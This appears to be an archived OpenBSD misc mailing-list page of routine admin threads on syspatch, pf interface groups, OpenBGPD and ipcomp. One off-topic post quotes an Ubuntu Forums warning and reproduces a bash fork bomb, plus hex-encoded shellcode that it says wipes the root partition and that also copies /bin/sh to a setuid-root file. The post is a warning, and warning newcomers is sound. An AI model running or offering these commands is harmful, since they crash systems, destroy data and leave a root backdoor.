Re: syspatch, relink and kernel version/date
On 20/12/2018 18:58, lists+m...@ggp2.com wrote:
> I can't confirm, but I think I noticed this on a box that was using the
> MP kernel even though it was an SP machine.
You are right. It is a single cpu machine running MP kernel.
So is this patched or not?
G
> On Thu, Dec 20, 2018 at 12:14:14PM +0200, Kapetanakis Giannis wrote:
>> Hi,
>>
>> I'm a bit confused about syspatch and kernel updates. One of machines after
>> latest syspatch (009) and after reboot it lists old kernel date.
>>
>> This happens only on this machine. I've seen it happen before, not sure if
>> it was on the same one or some other box.
>>
>> machine1:
>> # syspatch -l
>> 001_xserver
>> 002_syspatch
>> 003_portsmash
>> 004_lockf
>> 005_perl
>> 006_uipc
>> 007_smtpd
>> 008_qcow2
>> 009_recvwait
>>
>> # uname -prsv
>> OpenBSD 6.4 GENERIC.MP#364 amd64
>>
>> # sysctl kern.version
>> kern.version=OpenBSD 6.4 (GENERIC.MP) #364: Thu Oct 11 13:30:23 MDT 2018
>> dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
>>
>> machine2:
>> # syspatch -l
>> 001_xserver
>> 002_syspatch
>> 003_portsmash
>> 004_lockf
>> 005_perl
>> 006_uipc
>> 007_smtpd
>> 008_qcow2
>> 009_recvwait
>>
>> # uname -prsv
>> OpenBSD 6.4 GENERIC.MP#2 amd64
>>
>> # sysctl kern.version
>> kern.version=OpenBSD 6.4 (GENERIC.MP) #2: Tue Dec 18 13:17:16 CET 2018
>>
>> r...@syspatch-64-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
>>
>> on machine1 relink.log seems fine:
>> # cat /usr/share/relink/kernel/GENERIC.MP/relink.log
>> (SHA256) /bsd: OK
>> LD="ld" sh makegap.sh 0x
>> ld -T ld.script -X --warn-common -nopie -o newbsd ${SYSTEM_HEAD} vers.o
>> ${OBJS}
>> textdatabss dec hex
>> 104959482796320 671744 13964012d512ec
>> mv newbsd newbsd.gdb
>> ctfstrip -S -o newbsd newbsd.gdb
>> mv -f newbsd bsd
>> umask 077 && cp bsd /nbsd && mv /nbsd /bsd && sha256 -h
>> /var/db/kernel.SHA256 /bsd
>>
>> Kernel has been relinked and is active on next reboot.
>>
>> SHA256 (/bsd) =
>> 8b216c359324a4a938bd35c2c97416b62ffec8c8b955f8b86d65ddf9dc0d71b1
>>
>> Also /bsd has newer date so it seems updated.
>> # ls -ld /bsd
>> -rwx-- 1 root wheel 15461926 Dec 19 10:04 /bsd*
>>
>> # ls -ld /usr/share/relink/kernel/GENERIC.MP/relink.log
>> -rw-r--r-- 1 root wheel 486 Dec 19 10:04
>> /usr/share/relink/kernel/GENERIC.MP/relink.log
>>
>> can someone explain this?
>>
>> thanks
>>
>> G
>>
>
Re: I am revolted against the injustice of Ubuntu Forums administrators and moderators .
Command FreeBSD wrote: > Hi, > > The article that have spoken about Linux malicious commands that was posted > in Ubuntu Forums was restored, but who accessed this link yesterday and > this morning saw that this article has been deleted. hello this is the wrong mailing list, you are on misc@openbsd.org where threads are about OpenBSD.
I am revolted against the injustice of Ubuntu Forums administrators and moderators .
Hi,
The article that have spoken about Linux malicious commands that was posted
in Ubuntu Forums was restored, but who accessed this link yesterday and
this morning saw that this article has been deleted.
Very strange!
I also posted this topic in Ask Ubuntu Estack Overflow Exchange:
https://askubuntu.com/questions/1103483/why-the-article-that-have-spoken-about-linux-malicious-commands-that-was-posted?noredirect=1#comment1819053_1103483
I want to tell for the newbies to Linux that the article that have spoken
about Linux malicious commands that was posted in Ubuntu Forums was
deleted: https://ubuntuforums.org/announcement.php?f=326
The following messages was written in this article that was posted in
Ubuntu Forums:
[quote] Ubuntu Forums has a strict zero-tolerance policy when it comes to
posting dangerous commands. In the past members have been banned for
posting dangerous commands. If the intent is malicious, this is simply
unnacceptable. If it is meant as a joke – it is not funny.
Please be cautious when a command is suggested or if directed to download
script/s as a solution to a problem. When in doubt as to the safety of the
procedure, it's always a good idea to wait for more opinions, and/or have
the command explained and verify if the explanation makes sense by
consulting readily available documentation on Linux commands (such as
manpages). If you have any doubts about the content of a command or script,
report the post/thread and forum staff will investigate.
Please take care when posting commands or scripts to assist other users.
Post only well known, documented and current commands appropriate for the
operating system in use, or scripts from reputable sources. If you do post
commands in order to help someone but which have the potential to be
dangerous, always make sure you warn possible users of the dangers, not
just to the user you are helping, but others who may come across the post
later. If posting scripts that help with various tasks, please be prepared
to provide a source and description of the content. [/quote]
[quote] Forkbomb: It is a malicious script that will execute a huge number
of processes until your system freezes, forcing you to do a hard reboot
which may cause data corruption or data damage.
The below command looks really intriguing and curiosity may lead new and
inexperienced users to execute it! DON'T EXECUTE THEM! [/quote]
[code] :(){ :|:& };:[/code]
[quote] The below command is nothing but the first command above (rm -rf).
Here the codes are hidden in hex so that an ignorant user may be fooled.
Running the below code in your terminal will wipe your root partition.
This command here shows that the threat may be hidden and not normally
detectable sometimes. You must be aware of what you are doing and what
would be the result. Don’t compile/run codes from an unknown source.
char esp[] *attribute* ((section(“.text”))) /* e.s.p release */ =
“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”; [/quote]
The messages that I quoted above was written in following link:
https://ubuntuforums.org/announcement.php?f=326
This article have opoken about Linux malicious commands.
Why this article that have spoken about Linux malicious commands that was
posted in Ubuntu Forums was deleted?
I posted this topic in Ubuntu Forums, but this topic was moved to The Jail
and then deleted.
It appears that Ubuntu Forums administrators want to fool the newbies.
EDIT:
I want to tell for the newbies to Linux that the article that have spoken
about Linux malicious commands that was posted in Ubuntu Forums was deleted
and that it appears that Ubuntu Forums administrators want to fool the
newbies: https://ubuntuforums.org/announcement.php?f=326
Who accessed the Ubuntu Forums this morning saw that I posted about
malicious commands in General Help and News to Ubuntu in Ubuntu Forums, but
the topics that I posted in Ubuntu Forums was deleted. Very strange! It
appears that Ubuntu Forums administrators want to fool the newbies.
I also posted this topic in debian users and ubuntu users mailing lists:
https://lists.debian.org/debian-user/2018/12/msg00573.html
https://lists.ubuntu.com/archives/ubuntu-users/2018-December/296077.html
I am revolted against the injustice of Ubuntu Forums administrators and
moderators .
Re: Confusion re. VMs, bridges, intergace groups and pf.
cho...@jtan.com wrote: > Additionally, under which circumstances could/should I use interface > groups and under which rdomains? I cannot discern any practical > difference between them except in how they're labeled (numeric vs. > symbolic) although I confess that my experience with network routing > has been tainted by the Other OS so my knowledge is there murky. they are completely different interface groups cluster a set of interfaces for name-reference in pf (and a few other tools) (so you don't need to list them by actual name) rdomains on the other hand steer packets
Re: Confusion re. VMs, bridges, intergace groups and pf.
Additionally, under which circumstances could/should I use interface groups and under which rdomains? I cannot discern any practical difference between them except in how they're labeled (numeric vs. symbolic) although I confess that my experience with network routing has been tainted by the Other OS so my knowledge is there murky. Matthew
Re: TLS suddenly not working over IKED site-to-site - SOLVED?
> -Original Message- > From: owner-m...@openbsd.org [mailto:owner-m...@openbsd.org] On Behalf > Of William Ahern > Sent: Monday, December 17, 2018 1:11 PM > To: Theodore Wynnychenko > Cc: misc@openbsd.org > Subject: Re: TLS suddenly not working over IKED site-to-site > . . . > I'm not well versed in these issues but if I were in your shoes I would > > 1) Figure out why those packets were unprotected. (Could be normal for > all I > know, but in a quick test on my enc0 I didn't see any packets like > that.) > > 2) Make sure the tunnel handles fragmentation correctly. Are fragments > being > dropped? Are reassembled fragments being dropped? > > 2.a) Relatedly, make sure the tunnel handles pMTU discovery. Do ICMP > Fragmentation Needed packets make it back through the tunnel? pMTU and > ICMP > issues are very common with IPSec tunnels. IME most people "fix" these > issues by forcing a lower MSS or setting a lower MTU at the ingress > point > rather than properly configuring routing so ICMP errors are properly > routed. > I've experienced this issue myself and had to learn the hard way. > > 3) From an earlier post it looks like you're using ipcomp. You should > remove > this complication while debugging. It's possible ipcomp is hiding MTU > issues. Thank you so much for the suggestions. To summarize, I have noticed that in the last month, SSL/TLS connections were failing when traversing an ipsec tunnel created by iked. This had worked stably for over a year, with no changes to iked.conf or pf.conf. In trying to find the issue, I had added "max-mss" to pf and tried decreasing MTU values on the adapters. This did not seem to make a difference. In addition, the problem was very sporadic, and seemed to "evolve" over the last few weeks. In the last few days, I was able to establish https connections over the tunnel when that connection was initiated by the gateway openbsd machine or a Mac on the "local" network; but connections from another openbsd machine "behind" the gateway, and a Windows 7 machine kept hanging. Anyway, I decided to revert everything to the way it was. I removed all "max-mss" entries and reset MTU values to 1500. Then, I took the advice above, and disable ipcomp on the tunnel, and, BAHM, https (and imaps) were working without an issue from openbsd, Windows 7, and Macs! Just to be sure, I updated this am to the 12/19 amd64 snapshot. When I turn on ipcomp, https/imaps hangs for most connections; when I turn ipcomp off, https/imaps works. I noticed that the last change to sys/netinet/ip_ipcomp.c (I am guessing this is the code that is involved) in the log (I think) was about 3 months ago, and at this point, I can't recall if my last updated (prior to the one where the instability began) was before or after that change. I was going to try to recompile it with the change undone, but am not sure how to do that, or even if it can be done for just that one part of sys. And, after removing ipcomp from iked.conf, my subjective observation is that things load a lot faster than they seemed to in the past with ipcomp on; so, I am happy with where I am. I was just posting my observations in case anyone else has a similar issue. Ted
Confusion re. VMs, bridges, intergace groups and pf.
Something in the documentation regarding VM network iterface groups is
unclear to me.
I have created a switch and VM in /etc/vm.conf:
switch "private" {
interface bridge0
group private
}
vm "test" {
memory 2G
disable
disk /srv/vm/test.img
interface { switch "private" }
}
Which correctly creates a tap device with the group when started:
tap0: flags=8943 mtu 1500
lladdr fe:e1:ba:d9:26:d5
description: vm4-if0-test
index 15 priority 0 llprio 3
groups: tap private
status: active
The bridge is configured as:
/etc/hostname.bridge0:add vether0
/etc/hostname.vether0:inet 192.168.42.1 255.255.255.0
So far all well and good but attempting to craft pf rules to filter 'on
private' apparently has no effect.
This if my /etc/pf.conf (comments sanitised):
set skip on lo
block
match in all scrub (no-df random-id max-mss 1440)
antispoof quick for { egress wlan }
match log on private proto tcp
# NAT everything else
match out on egress inet from !(egress:network) to !self nat-to (egress)
# Permit inbound ssh
pass in quick proto tcp from any to self port ssh
# Open everything during testing
pass quick
Specifically, the match log line doesn't record anything (verified with
tcpdump -i pflog0) with 'on private' but does with 'on vether'. So how
can I filter based on the interface group to which a VM or switch is
assigned as vm.conf(5) claims I can (in VM CONFIGURATION/interface/group)?
Have I made a mistake in my configuration somewhere, misunderstood the
documentation and how to use interface groups, or is this a bug? I am
using a freshly-installed 6.4 on amd64.
Thanks,
Matthew
Re: Missing libraries after upgrade to 6.4
Tom Smyth wrote: Hello John, Hi! do you have PKG_PATH Variable set to an old version ? eg export PKG_PATH=https://fastly.cdn.openbsd.org/pub/OpenBSD/$(6.3/packages/amd64/ export PKG_PATH=https://fastly.cdn.openbsd.org/pub/OpenBSD/$(uname -r)/packages/$(uname -p)/ you can remove the PKG_PATH variable as installurl now helps find the correct packages from your favourite mirror and simply populate /etc/installurl with the url of your favourite mirror, man installurl for more details Unfortunately, I already use /etc/installurl (with https://cdn.openbsd.org/pub/OpenBSD) and have $PKG_PATH unset. Best regards, John
Re: OpenBGPD Route Reflector - not reflecting VPNv4 Routes
Thank you Claudio!
I didn't even think of that, as these Route Reflectors are completely
out-of-band and not in the path of routing at all.
Of course they wouldn't work without having a route to the nexthop :-)
I'm much more versed in troubleshooting BGP on IOS, but with all the
work you just put into OpenBGPD I wanted to put it to the task.
Thanks so much for your help! It is working now:
RR$ bgpctl show ip bgp nei 100.92.127.37 out
flags: * = Valid, = Selected, I = via IBGP, A = Announced,
S = Stale, E = Error
origin validation state: N = not-found, V = valid, ! = invalid
origin: i = IGP, e = EGP, ? = Incomplete
flags ovs destination gateway lpref med aspath origin
I*> N rd 1234:5678 172.29.20.0/24 100.92.127.101 100 0 i
On Thu, Dec 20, 2018 at 5:49 PM Claudio Jeker wrote:
>
> On Thu, Dec 20, 2018 at 04:52:34PM -0500, Henry Bonath wrote:
> > Hello, I am having an issue with some route-reflectors I set up to try
> > to support a new MPLS backbone.
> > The majority of the MPLS Routers are Cisco IOS, with some of the PE
> > devices running OpenBSD.
> > The Route Reflectors are OpenBSD 6.4. The route reflectors are not
> > neighbors of each other.
> >
> > Here is my config:
> >
> > ASN="1234"
> > AS $ASN
> > router-id 172.16.16.211
> >
> > group "IBGP" {
> > remote-as $ASN
> > announce IPv4 vpn
> > route-reflector 172.16.16.211
> > local-address 172.16.16.211
> > neighbor 100.92.64.0/18 {
> > }
> >
> > }
> > # IBGP: allow all updates to and from our IBGP neighbors
> > allow from any
> > allow to any
> >
> >
> >
> > On the reflectors themselves, if I issue a "bgpctl show rib" I do see
> > VPNv4 routes, and "bgpctl show summary" I see that I am receiving
> > prefixes:
> >
> > RR$ bgpctl show rib
> > flags: * = Valid, > = Selected, I = via IBGP, A = Announced,
> >S = Stale, E = Error
> > origin validation state: N = not-found, V = valid, ! = invalid
> > origin: i = IGP, e = EGP, ? = Incomplete
> >
> > flags ovs destination gateway lpref med aspath origin
> > I N rd 1234:5678 10.25.80.0/24 100.92.127.20 100 0 ?
> > I N rd 1234:5678 172.29.20.0/24 100.92.127.101 100 0 i
> >
>
> These routes are not valid (*) is missing. Which does result in them not
> being selected and because of that not reflected. At least I would look
> into that. Normally this is cause because the nexthop is not valid. Maybe
> you need to add the IGP routes or in the worst case use 'nexthop qualify
> via default'.
>
> > If I do the same on a PE, it shows Zero prefixes received from either
> > route reflector:
> >
> > PE$ bgpctl show rib
> > flags: * = Valid, > = Selected, I = via IBGP, A = Announced,
> >S = Stale, E = Error
> > origin validation state: N = not-found, V = valid, ! = invalid
> > origin: i = IGP, e = EGP, ? = Incomplete
> >
> > flags ovs destination gateway lpref med aspath origin
> > I*> N rd 1234:5678 10.25.80.0/24 100.92.127.20 100 0 ?
> > AI*>N rd 1234:5678 172.29.20.0/24 rd 0:0 0.0.0.0 100 0 i
> > [hbonath@hb-mplspe-01]:~$ bgpctl show summ
> > Neighbor ASMsgRcvdMsgSent OutQ Up/Down
> > State/PrfRcvd
> > bgp-rr-02 1234 41 42 0 00:19:08 0
> > bgp-rr-01 1234 41 42 0 00:19:08 0
> >
> >
> > What am I missing here? Does it have to do with the flags that the
> > Route-Reflector is showing?
> > Thanks in advance!
> >
>
> --
> :wq Claudio
>
X-Accel-Redirect equivalent for httpd
Hi, Is there an equivalent or alternative for NginX X-Accel-Redirect? https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/ I'm porting a django app that checks for user's permissions before allowing them to download a document and this function uses X-Accel-Redirect to achieve this. I'd like to move the app to OpenBSD httpd. Any idea how to crach this problem? Best regards, Chris
Re: Missing libraries after upgrade to 6.4
Hello John, do you have PKG_PATH Variable set to an old version ? eg export PKG_PATH=https://fastly.cdn.openbsd.org/pub/OpenBSD/$(6.3/packages/amd64/ export PKG_PATH=https://fastly.cdn.openbsd.org/pub/OpenBSD/$(uname -r)/packages/$(uname -p)/ you can remove the PKG_PATH variable as installurl now helps find the correct packages from your favourite mirror and simply populate /etc/installurl with the url of your favourite mirror, man installurl for more details I hope this helps Tom Smyth On Thu, 20 Dec 2018 at 22:13, John Ankarström wrote: > > Hello all, > > I have this port [1] that installed fine on 6.3, but after I upgraded to > 6.4, following the FAQ, I'm getting weird errors. > > When running make install, it fails because qtbase-5.9.4 can't be > installed, which is weird that it wants to do, because the version in > ports is 5.9.6p1. Here's the output: http://sprunge.us/z6d97h > > When I try to run make rebuild, it complains about missing libraries for > Qt5 stuff: http://sprunge.us/oEDaKE > > Some proof that I've actually upgraded: > > $ uname -a > OpenBSD lbsd.home 6.4 GENERIC.MP#364 amd64 > > $ cd /usr/ports; cvs status Makefile > [...] > Sticky Tag: OPENBSD_6_4 (branch: 1.77.2) > [...] > > Anybody got any idea as to what's going on? > > Best regards, > John > > [1]: > https://files.jkvinge.net/packages/strawberry/strawberry-openbsd-port.tar.gz > -- Kindest regards, Tom Smyth Mobile: +353 87 6193172 The information contained in this E-mail is intended only for the confidential use of the named recipient. If the reader of this message is not the intended recipient or the person responsible for delivering it to the recipient, you are hereby notified that you have received this communication in error and that any review, dissemination or copying of this communication is strictly prohibited. If you have received this in error, please notify the sender immediately by telephone at the number above and erase the message You are requested to carry out your own virus check before opening any attachment.
Re: blocking openvpn port scanners
On 20/12/2018 13:20, tors...@cnc-london.net wrote: Try to add below to your pf.conf table persist pass in on $ext_if inet proto tcp from any to $ext_if port 1194 \ (max-src-conn 10, max-src-conn-rate 30/5, \ overload flush global) This is pretty much exactly what I have for ssh scanners (with different limits). Aha! On 20/12/2018 13:20, pe...@bsdly.net wrote: > The good thing about the pf.conf state tracking options is that they're > service agnostic. That's the bit I wasn't entirely sure about - thanks. Makes sense now - of course! It's nothing to do with service, just connections. D'oh! I now have a cunning plan, a plan so cunning etc etc. Thanks to all who responded, on- and off-list. Steve
Re: OpenBGPD Route Reflector - not reflecting VPNv4 Routes
On Thu, Dec 20, 2018 at 04:52:34PM -0500, Henry Bonath wrote:
> Hello, I am having an issue with some route-reflectors I set up to try
> to support a new MPLS backbone.
> The majority of the MPLS Routers are Cisco IOS, with some of the PE
> devices running OpenBSD.
> The Route Reflectors are OpenBSD 6.4. The route reflectors are not
> neighbors of each other.
>
> Here is my config:
>
> ASN="1234"
> AS $ASN
> router-id 172.16.16.211
>
> group "IBGP" {
> remote-as $ASN
> announce IPv4 vpn
> route-reflector 172.16.16.211
> local-address 172.16.16.211
> neighbor 100.92.64.0/18 {
> }
>
> }
> # IBGP: allow all updates to and from our IBGP neighbors
> allow from any
> allow to any
>
>
>
> On the reflectors themselves, if I issue a "bgpctl show rib" I do see
> VPNv4 routes, and "bgpctl show summary" I see that I am receiving
> prefixes:
>
> RR$ bgpctl show rib
> flags: * = Valid, > = Selected, I = via IBGP, A = Announced,
>S = Stale, E = Error
> origin validation state: N = not-found, V = valid, ! = invalid
> origin: i = IGP, e = EGP, ? = Incomplete
>
> flags ovs destination gateway lpref med aspath origin
> I N rd 1234:5678 10.25.80.0/24 100.92.127.20 100 0 ?
> I N rd 1234:5678 172.29.20.0/24 100.92.127.101 100 0 i
>
These routes are not valid (*) is missing. Which does result in them not
being selected and because of that not reflected. At least I would look
into that. Normally this is cause because the nexthop is not valid. Maybe
you need to add the IGP routes or in the worst case use 'nexthop qualify
via default'.
> If I do the same on a PE, it shows Zero prefixes received from either
> route reflector:
>
> PE$ bgpctl show rib
> flags: * = Valid, > = Selected, I = via IBGP, A = Announced,
>S = Stale, E = Error
> origin validation state: N = not-found, V = valid, ! = invalid
> origin: i = IGP, e = EGP, ? = Incomplete
>
> flags ovs destination gateway lpref med aspath origin
> I*> N rd 1234:5678 10.25.80.0/24 100.92.127.20 100 0 ?
> AI*>N rd 1234:5678 172.29.20.0/24 rd 0:0 0.0.0.0 100 0 i
> [hbonath@hb-mplspe-01]:~$ bgpctl show summ
> Neighbor ASMsgRcvdMsgSent OutQ Up/Down
> State/PrfRcvd
> bgp-rr-02 1234 41 42 0 00:19:08 0
> bgp-rr-01 1234 41 42 0 00:19:08 0
>
>
> What am I missing here? Does it have to do with the flags that the
> Route-Reflector is showing?
> Thanks in advance!
>
--
:wq Claudio
OpenBGPD Route Reflector - not reflecting VPNv4 Routes
Hello, I am having an issue with some route-reflectors I set up to try
to support a new MPLS backbone.
The majority of the MPLS Routers are Cisco IOS, with some of the PE
devices running OpenBSD.
The Route Reflectors are OpenBSD 6.4. The route reflectors are not
neighbors of each other.
Here is my config:
ASN="1234"
AS $ASN
router-id 172.16.16.211
group "IBGP" {
remote-as $ASN
announce IPv4 vpn
route-reflector 172.16.16.211
local-address 172.16.16.211
neighbor 100.92.64.0/18 {
}
}
# IBGP: allow all updates to and from our IBGP neighbors
allow from any
allow to any
On the reflectors themselves, if I issue a "bgpctl show rib" I do see
VPNv4 routes, and "bgpctl show summary" I see that I am receiving
prefixes:
RR$ bgpctl show rib
flags: * = Valid, > = Selected, I = via IBGP, A = Announced,
S = Stale, E = Error
origin validation state: N = not-found, V = valid, ! = invalid
origin: i = IGP, e = EGP, ? = Incomplete
flags ovs destination gateway lpref med aspath origin
I N rd 1234:5678 10.25.80.0/24 100.92.127.20 100 0 ?
I N rd 1234:5678 172.29.20.0/24 100.92.127.101 100 0 i
If I do the same on a PE, it shows Zero prefixes received from either
route reflector:
PE$ bgpctl show rib
flags: * = Valid, > = Selected, I = via IBGP, A = Announced,
S = Stale, E = Error
origin validation state: N = not-found, V = valid, ! = invalid
origin: i = IGP, e = EGP, ? = Incomplete
flags ovs destination gateway lpref med aspath origin
I*> N rd 1234:5678 10.25.80.0/24 100.92.127.20 100 0 ?
AI*>N rd 1234:5678 172.29.20.0/24 rd 0:0 0.0.0.0 100 0 i
[hbonath@hb-mplspe-01]:~$ bgpctl show summ
Neighbor ASMsgRcvdMsgSent OutQ Up/Down State/PrfRcvd
bgp-rr-02 1234 41 42 0 00:19:08 0
bgp-rr-01 1234 41 42 0 00:19:08 0
What am I missing here? Does it have to do with the flags that the
Route-Reflector is showing?
Thanks in advance!
Missing libraries after upgrade to 6.4
Hello all, I have this port [1] that installed fine on 6.3, but after I upgraded to 6.4, following the FAQ, I'm getting weird errors. When running make install, it fails because qtbase-5.9.4 can't be installed, which is weird that it wants to do, because the version in ports is 5.9.6p1. Here's the output: http://sprunge.us/z6d97h When I try to run make rebuild, it complains about missing libraries for Qt5 stuff: http://sprunge.us/oEDaKE Some proof that I've actually upgraded: $ uname -a OpenBSD lbsd.home 6.4 GENERIC.MP#364 amd64 $ cd /usr/ports; cvs status Makefile [...] Sticky Tag: OPENBSD_6_4 (branch: 1.77.2) [...] Anybody got any idea as to what's going on? Best regards, John [1]: https://files.jkvinge.net/packages/strawberry/strawberry-openbsd-port.tar.gz
Re: Automated remote install
Philipp Buehler writes: > Am 20.12.2018 19:24 schrieb cho...@jtan.com: > > I'm not sure what you mean by that. The script I posted the other day > > is part of a (working, tested) process to create an openbsd image > > within openbsd and then upload it to aws as an iam. I based it on, I > > think, an earlier version of the instructions linked above. No linux > > or osx required (no osx even present). > > News to me that vagrant and esp. virtualbox is available on OpenBSD. Well obviously I didn't use those, they're shit. Which part of "based it on" wasn't clear? I used vmm and sh, which make the 'standing up a vm' part of the process so simple that the scripts which implement it barely deserve the name. Matthew
Re: Automated remote install
Am 20.12.2018 19:24 schrieb cho...@jtan.com: I'm not sure what you mean by that. The script I posted the other day is part of a (working, tested) process to create an openbsd image within openbsd and then upload it to aws as an iam. I based it on, I think, an earlier version of the instructions linked above. No linux or osx required (no osx even present). News to me that vagrant and esp. virtualbox is available on OpenBSD. -- pb
Re: Automated remote install
Philipp Buehler writes: > Am 20.12.2018 18:13 schrieb David Diggles: > > However it's possible to build for AWS. > > https://github.com/ajacoutot/aws-openbsd > > and there's more stuff "in the pipe", since the above > needs a Linux or OSX environment > > Next year ;) it'll be possible to do this on OpenBSD > (vmm/packer/vagrant). I'm not sure what you mean by that. The script I posted the other day is part of a (working, tested) process to create an openbsd image within openbsd and then upload it to aws as an iam. I based it on, I think, an earlier version of the instructions linked above. No linux or osx required (no osx even present). Matthew
Re: radeondrm failure on amd64 but not on i386?
> On Dec 19, 2018, at 10:22 AM, Andy Bradford > wrote: > > Thus said Daniel Dickman on Fri, 14 Dec 2018 20:45:11 -0500: > >> Try previous releases of OpenBSD/amd64 to check if radeondrm ever >> worked for you on amd64. > > That was a fruitful suggestion. I tried 6.3 amd64 and it works. So > somewhere after 6.3 a change was introduced that made this particular > Radeon card not work. I'll see if I can discover which. What's the best > way to bisect with CVS; update sources by date/time? It was probably the big update to resync radeondrm with the linux 4.4.x kernel. Believe that happened shortly after 6.3 was released. Previous to this, radeondrm was synced against the linux 3.8.x kernel. https://github.com/openbsd/src/commit/7ccd5a2c19d4480fd59ed7bbf02608c8980a7858 If you really wanted to bisect this you can use the github mirror. it would be interesting if the drm update is *not* the commit that broke things. anyway think you might be able to start with openbsd 6.3, install git package, download the git tree from github then bisect and recompile the kernel and reboot. (hopefully doesn’t need a full build of base here). > >> If you diff the dmesgs is there any other on >> already been reported? > > I don't believe there were any other significant diffences. btw I saw a note from kettenis@ that a drm update is being worked on: https://marc.info/?l=openbsd-bugs=154512499015162=2 just fyi.
Re: Automated remote install
Am 20.12.2018 18:13 schrieb David Diggles: However it's possible to build for AWS. https://github.com/ajacoutot/aws-openbsd and there's more stuff "in the pipe", since the above needs a Linux or OSX environment Next year ;) it'll be possible to do this on OpenBSD (vmm/packer/vagrant). ciao -- pb
Re: Automated remote install
>Note that I'm referring to KVM providers (traditional VPS providers), >not >"public cloud". The big boys - AWS, Azure, Google, etc. are not >interested >in OpenBSD. However it's possible to build for AWS. https://github.com/ajacoutot/aws-openbsd
Re: syspatch, relink and kernel version/date
I can't confirm, but I think I noticed this on a box that was using the
MP kernel even though it was an SP machine.
On Thu, Dec 20, 2018 at 12:14:14PM +0200, Kapetanakis Giannis wrote:
> Hi,
>
> I'm a bit confused about syspatch and kernel updates. One of machines after
> latest syspatch (009) and after reboot it lists old kernel date.
>
> This happens only on this machine. I've seen it happen before, not sure if it
> was on the same one or some other box.
>
> machine1:
> # syspatch -l
> 001_xserver
> 002_syspatch
> 003_portsmash
> 004_lockf
> 005_perl
> 006_uipc
> 007_smtpd
> 008_qcow2
> 009_recvwait
>
> # uname -prsv
> OpenBSD 6.4 GENERIC.MP#364 amd64
>
> # sysctl kern.version
> kern.version=OpenBSD 6.4 (GENERIC.MP) #364: Thu Oct 11 13:30:23 MDT 2018
> dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
>
> machine2:
> # syspatch -l
> 001_xserver
> 002_syspatch
> 003_portsmash
> 004_lockf
> 005_perl
> 006_uipc
> 007_smtpd
> 008_qcow2
> 009_recvwait
>
> # uname -prsv
> OpenBSD 6.4 GENERIC.MP#2 amd64
>
> # sysctl kern.version
> kern.version=OpenBSD 6.4 (GENERIC.MP) #2: Tue Dec 18 13:17:16 CET 2018
>
> r...@syspatch-64-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
>
> on machine1 relink.log seems fine:
> # cat /usr/share/relink/kernel/GENERIC.MP/relink.log
> (SHA256) /bsd: OK
> LD="ld" sh makegap.sh 0x
> ld -T ld.script -X --warn-common -nopie -o newbsd ${SYSTEM_HEAD} vers.o
> ${OBJS}
> textdatabss dec hex
> 104959482796320 671744 13964012d512ec
> mv newbsd newbsd.gdb
> ctfstrip -S -o newbsd newbsd.gdb
> mv -f newbsd bsd
> umask 077 && cp bsd /nbsd && mv /nbsd /bsd && sha256 -h
> /var/db/kernel.SHA256 /bsd
>
> Kernel has been relinked and is active on next reboot.
>
> SHA256 (/bsd) =
> 8b216c359324a4a938bd35c2c97416b62ffec8c8b955f8b86d65ddf9dc0d71b1
>
> Also /bsd has newer date so it seems updated.
> # ls -ld /bsd
> -rwx-- 1 root wheel 15461926 Dec 19 10:04 /bsd*
>
> # ls -ld /usr/share/relink/kernel/GENERIC.MP/relink.log
> -rw-r--r-- 1 root wheel 486 Dec 19 10:04
> /usr/share/relink/kernel/GENERIC.MP/relink.log
>
> can someone explain this?
>
> thanks
>
> G
>
Re: Automated remote install
On Wed, Dec 19, 2018 at 07:24:12AM -0800, andrew fabbro wrote:
Virtually all of the better KVM hosts offer an OpenBSD ISO, and in my
experience, 100% will add it to their library if you request it.
That's an excellent idea, especially from the perspective of making OpenBSD
adoption easier for others as well. ("click the button" vs "don't forget the
`--hail-puffy-full-of-grace` flag on `ansible-playbook`")
In this particular case -- where I frequently need to spin up servers in exotic
and unusual places -- it's not ideal, of course.
syspatch, relink and kernel version/date
Hi,
I'm a bit confused about syspatch and kernel updates. One of machines after
latest syspatch (009) and after reboot it lists old kernel date.
This happens only on this machine. I've seen it happen before, not sure if it
was on the same one or some other box.
machine1:
# syspatch -l
001_xserver
002_syspatch
003_portsmash
004_lockf
005_perl
006_uipc
007_smtpd
008_qcow2
009_recvwait
# uname -prsv
OpenBSD 6.4 GENERIC.MP#364 amd64
# sysctl kern.version
kern.version=OpenBSD 6.4 (GENERIC.MP) #364: Thu Oct 11 13:30:23 MDT 2018
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
machine2:
# syspatch -l
001_xserver
002_syspatch
003_portsmash
004_lockf
005_perl
006_uipc
007_smtpd
008_qcow2
009_recvwait
# uname -prsv
OpenBSD 6.4 GENERIC.MP#2 amd64
# sysctl kern.version
kern.version=OpenBSD 6.4 (GENERIC.MP) #2: Tue Dec 18 13:17:16 CET 2018
r...@syspatch-64-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
on machine1 relink.log seems fine:
# cat /usr/share/relink/kernel/GENERIC.MP/relink.log
(SHA256) /bsd: OK
LD="ld" sh makegap.sh 0x
ld -T ld.script -X --warn-common -nopie -o newbsd ${SYSTEM_HEAD} vers.o ${OBJS}
textdatabss dec hex
104959482796320 671744 13964012d512ec
mv newbsd newbsd.gdb
ctfstrip -S -o newbsd newbsd.gdb
mv -f newbsd bsd
umask 077 && cp bsd /nbsd && mv /nbsd /bsd && sha256 -h /var/db/kernel.SHA256
/bsd
Kernel has been relinked and is active on next reboot.
SHA256 (/bsd) = 8b216c359324a4a938bd35c2c97416b62ffec8c8b955f8b86d65ddf9dc0d71b1
